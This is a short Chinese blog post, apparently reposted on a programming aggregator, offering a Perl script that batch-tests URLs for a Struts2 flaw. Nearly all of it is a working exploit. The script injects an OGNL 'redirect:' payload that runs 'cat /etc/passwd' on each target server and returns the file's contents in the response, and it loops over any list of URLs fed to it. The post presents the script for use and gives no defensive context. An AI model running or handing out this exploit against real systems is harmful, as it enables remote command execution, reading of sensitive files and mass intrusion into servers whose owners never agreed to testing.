Perl 测Strut2漏洞

概述手贱写了个批量测试的。。昨天要测几个东西。。 #!/usr/bin/perluse HTTP::Request; use LWP::UserAgent; use threads; use Thread::Semaphore; use Socket; while(<>){ Webscan($_); } sub Webscan { local($scan_url)=shift; $tmp=$sca

手贱写了个批量测试的。。昨天要测几个东西。。

#!/usr/bin/perluse http::Request; use LWP::UserAgent; use threads; use Thread::Semaphore; use Socket; while(<>){ Webscan($_); } sub Webscan { local($scan_url)=shift; $tmp=$scan_url .'?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(),%23b%3d%23a.getinputStream(),%23c%3dnew java.io.inputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get("com.opensymphony.xwork2.dispatcher.httpServletResponse"),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}'; my $request=http::Request->new(GET=>$tmp); my $uat=LWP::UserAgent->new(); $uat->timeout(10); my $response=$uat->request($request); if($response->status_line=~/200/) { }else{ print "------------------\n"; # print $response->content;         print $tmp; print "------------------\n"; } }

总结

以上是内存溢出为你收集整理的Perl 测Strut2漏洞全部内容，希望文章能够帮你解决Perl 测Strut2漏洞所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错，欢迎将内存溢出网站推荐给程序员好友。